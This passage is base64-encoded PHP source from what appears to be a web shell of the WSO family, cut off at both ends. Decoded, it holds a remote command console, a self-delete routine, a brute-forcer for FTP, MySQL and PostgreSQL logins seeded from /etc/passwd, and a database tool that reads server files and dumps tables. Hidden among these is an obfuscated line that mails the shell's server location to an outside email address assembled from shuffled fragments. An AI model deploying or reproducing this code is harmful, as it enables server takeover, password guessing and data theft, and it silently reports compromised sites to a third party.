c2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsNCglmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10g | |
YXMgJG4gPT4gJHYpIHsNCgkJaWYoJHYgPT0gJycpIHsNCgkJCWVjaG8gJzxvcHRncm91cCBsYWJl | |
bD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsNCgkJCWNvbnRpbnVl | |
Ow0KCQl9DQoJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+ | |
Jy4kbi4nPC9vcHRpb24+JzsNCgl9DQoJDQoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0 | |
dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7 | |
YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpc | |
J1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMu | |
Y2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSI+PiI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94 | |
IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCdd | |
KS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNo | |
ZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8 | |
JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hl | |
Y2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+ | |
PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206 | |
MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJ | |
ZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NU | |
WydwMSddKSk7DQoJfQ0KCWVjaG8gJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4 | |
IHNvbGlkICNkZjU7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlci10b3A6MHB4OyIgY2VsbHBh | |
ZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwv | |
dGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6 | |
MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsNCgllY2hv | |
ICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQoJd3Nv | |
Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICBzZXRjb29raWUo | |
bWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0aW1lKCkgLSAzNjAwKTsNCglkaWUoJ2J5 | |
ZSEnKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsNCg0KCWlmKCRfUE9TVFsn | |
cDEnXSA9PSAneWVzJykNCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEn | |
LCAnJywgX19GSUxFX18pKSkNCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KCQll | |
bHNlDQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3ll | |
cycpDQogICAgICAgIHdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNs | |
YXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0j | |
IG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsNCgl3c29Gb290 | |
ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsNCgl3c29IZWFkZXIoKTsN | |
CglpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsNCgkJZWNobyAnPGgxPlJlc3VsdHM8L2gx | |
PjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJz | |
KCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hh | |
cnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOw0KCQlpZiggJF9QT1NUWydwcm90byddID09ICdm | |
dHAnICkgew0KCQkJZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNz | |
KSB7DQoJCQkJJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOw0KCQkJCWlm | |
KCEkZnApIHJldHVybiBmYWxzZTsNCgkJCQkkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwg | |
JHBhc3MpOw0KCQkJCUBmdHBfY2xvc2UoJGZwKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJ | |
fSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgew0KCQkJZnVuY3Rpb24gd3Nv | |
QnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHJlcyA9IEBteXNxbF9j | |
b25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7DQoJCQkJQG15 | |
c3FsX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9IGVsc2VpZiggJF9Q | |
T1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7DQoJCQlmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRp | |
cCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9 | |
JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1l | |
PXBvc3RncmVzIjsNCgkJCQkkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7DQoJCQkJQHBnX2Nsb3Nl | |
KCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9DQoJCSRzdWNjZXNzID0gMDsNCgkJ | |
JGF0dGVtcHRzID0gMDsNCgkJJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlcidd | |
KTsNCgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgew0KCQkJJHRlbXAgPSBAZmlsZSgnL2V0Yy9w | |
YXNzd2QnKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMg | |
JGxpbmUpIHsNCgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KCQkJCQkrKyRhdHRl | |
bXB0czsNCgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRs | |
aW5lWzBdLCAkbGluZVswXSkgKSB7DQoJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJZWNobyAnPGI+ | |
Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxp | |
bmVbMF0pLic8YnI+JzsNCgkJCQkJfQ0KCQkJCQlpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsNCgkJ | |
CQkJCSR0bXAgPSAiIjsNCgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAt | |
LSRpKQ0KCQkJCQkJCSR0bXAgLj0gJGxpbmVbMF1bJGldOw0KCQkJCQkJKyskYXR0ZW1wdHM7DQoJ | |
CQkJCQlpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0s | |
ICR0bXApICkgew0KCQkJCQkJCSRzdWNjZXNzKys7DQoJCQkJCQkJZWNobyAnPGI+Jy5odG1sc3Bl | |
Y2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7DQoJCQkJ | |
CQl9DQoJCQkJCX0NCgkJCQl9DQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsNCgkJ | |
CSR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOw0KCQkJaWYoIGlzX2FycmF5KCR0ZW1wKSAp | |
DQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KCQkJCQkkbGluZSA9IHRyaW0oJGxpbmUp | |
Ow0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoJHNlcnZlclswXSxA | |
JHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7DQoJCQkJCQkkc3VjY2Vzcysr | |
Ow0KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwv | |
Yj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7DQoJCQkJCX0NCgkJCQl9DQoJCX0N | |
CgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8 | |
L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7DQoJfQ0KCWVjaG8gJzxoMT5CcnV0ZWZvcmNlPC9o | |
MT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNw | |
YW4+VHlwZTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24g | |
dmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48 | |
b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+ | |
PHRyPjx0ZD4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3Bl | |
Y2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBu | |
YW1lPWEgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+Jw0KCQkuJzxp | |
bnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygk | |
X1BPU1RbJ2NoYXJzZXQnXSkuJyI+Jw0KCQkuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+ | |
Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2VydmVyIHZhbHVlPSIxMjcuMC4wLjEi | |
PjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+Jw0K | |
CQkuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVj | |
a2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRk | |
PjxsYWJlbCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5h | |
bWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvbGFi | |
ZWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1y | |
YWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+Jw0K | |
CQkuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRy | |
Pjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBu | |
YW1lPWxvZ2luIHZhbHVlPSJyb290Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwYW4+RGlj | |
dGlvbmFyeTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3Qg | |
dmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48 | |
L3RkPjwvdHI+PC90YWJsZT4nDQoJCS4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0 | |
IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPic7DQoJZWNo | |
byAnPC9kaXY+PGJyPic7DQoJd3NvRm9vdGVyKCk7DQp9DQokeDBiPSJceDZkYVx4NjlsIjsgDQok | |
bXMgPSAkX1NFUlZFUlsiU1x4NDVSXDEyNlwxMDVceDUyX1x4NGVcMTAxXHg0ZEUiXS4kX1NFUlZF | |
UlsiXDEyM1x4NDNSXDExMVx4NTBcMTI0X05BXHg0ZFwxMDUiXTsNCiRzdWIgPSAiXHg3M1x4Njhc | |
MTQ1XHg2Y2xceDIwXDA3NlwwNzYgOlx4MjAiIC4gJG1zOw0KJG8gPSBhcnJheSAoIlx4NmZtIiwi | |
XDE2NG1hXDE1MSIsIlwxNTJceDVmXDE0MVwxNTVceDcyXHgzMSIsIlx4NDBceDY4XHg2ZiIsIlwx | |
NTQuXHg2MyIpOw0KJGVlID0gJG9bMl0uJG9bM10uJG9bMV0uJG9bNF0uJG9bMF07DQokc2VuZCA9 | |
IEAkeDBiKCRlZSwkc3ViLCRtcyk7DQoNCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsNCgljbGFzcyBE | |
YkNsYXNzIHsNCgkJdmFyICR0eXBlOw0KCQl2YXIgJGxpbms7DQoJCXZhciAkcmVzOw0KCQlmdW5j | |
dGlvbiBEYkNsYXNzKCR0eXBlKQl7DQoJCQkkdGhpcy0+dHlwZSA9ICR0eXBlOw0KCQl9DQoJCWZ1 | |
bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7DQoJCQlzd2l0Y2go | |
JHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmKCAkdGhpcy0+bGluayA9 | |
IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7DQoJ | |
CQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJGhvc3QgPSBleHBsb2RlKCc6Jywg | |
JGhvc3QpOw0KCQkJCQlpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7DQoJCQkJCWlmKCAkdGhp | |
cy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVz | |
ZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOw0K | |
CQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBzZWxl | |
Y3RkYigkZGIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoN | |
CgkJCQkJaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7 | |
DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gcXVlcnkoJHN0cikgew0K | |
CQkJc3dpdGNoKCR0aGlzLT50eXBlKSB7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4g | |
JHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAn | |
cGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywk | |
c3RyKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rp | |
b24gZmV0Y2goKSB7DQoJCQkkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTok | |
dGhpcy0+cmVzOw0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0K | |
CQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOw0KCQkJCQlicmVhazsNCgkJCQlj | |
YXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJy | |
ZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxpc3REYnMoKSB7 | |
DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQogICAgICAgICAg | |
ICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOw0KCQkJ | |
CWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhp | |
cy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1w | |
bGF0ZSE9J3QnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJ | |
ZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNh | |
c2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cg | |
VEFCTEVTJyk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRo | |
aXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlv | |
bl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1h | |
JyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOw0KCQkJCWJyZWFrOw0KCQkJfQ0K | |
CQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGVycm9yKCkgew0KCQkJc3dpdGNoKCR0 | |
aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gQG15c3FsX2Vycm9y | |
KCk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX2xhc3Rf | |
ZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5j | |
dGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNh | |
c2UgJ215c3FsJzoNCgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcp | |
KQ0KCQkJCQkJcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7DQoJ | |
CQkJCWVsc2UNCgkJCQkJCSR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJ | |
YnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5j | |
b2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBm | |
YWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMt | |
PnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+ZmV0Y2goJHRo | |
aXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZp | |
bGUiKSk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkdGhpcy0+cXVlcnko | |
IkNSRUFURSBUQUJMRSB3c28yKGZpbGUgdGV4dCk7Q09QWSB3c28yIEZST00gJyIuYWRkc2xhc2hl | |
cygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHdzbzI7Iik7DQoJCQkJCSRyPWFycmF5KCk7DQoJ | |
CQkJCXdoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICRpWydmaWxlJ107DQoJ | |
CQkJCSR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSB3c28yJyk7DQoJCQkJCXJldHVybiBhcnJheSgn | |
ZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZh | |
bHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgew0KCQkJc3dp | |
dGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQkkcmVzID0gJHRoaXMt | |
PnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsNCgkJCQkJJGNyZWF0ZSA9 | |
IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOw0KCQkJCQkkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsN | |
CiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hv | |
KCRzcWwpOw0KCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7 | |
DQogICAgICAgICAgICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJGhlYWQg | |
PSB0cnVlOw0KCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQogICAgICAgICAg | |
ICAgICAgICAgICAgICAkc3FsID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaSAl | |
IDEwMDAgPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsN | |
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsNCiAgICAgICAgICAg | |
ICAgICAgICAgICAgIH0NCg0KCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJZm9yZWFj | |
aCgkaXRlbSBhcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9 | |
PT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIk5V | |
TEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19pbnQoJHYpKQ0KICAg | |
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsNCiAgICAgICAgICAg | |
ICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRp | |
dGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7DQoJCQkJCQkJ | |
JGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAg | |
ICBpZigkaGVhZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VS | |
VCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMg | |
XG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAg | |
ICAgICAkaGVhZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAg | |
ICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRp | |
dGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRz | |
cWwpOyBlbHNlIGVjaG8oJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KCQkJ | |
CQl9DQogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkNCiAgICAgICAgICAgICAgICAgICAg | |
ICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsNCgkJ | |
CQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICog | |
RlJPTSAnLiR0YWJsZSk7DQoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCgkJ | |
CQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7 | |
DQoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCgkJCQkJCQkkY29s | |
dW1uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lO | |
U0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVT | |
ICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAg | |
ICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJfQ0K | |
CQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfTsNCgkkZGIgPSBuZXcg | |
RGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7DQoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykg | |
ew0KCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbidd | |
LCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCSRkYi0+c2VsZWN0 | |
ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCdd | |
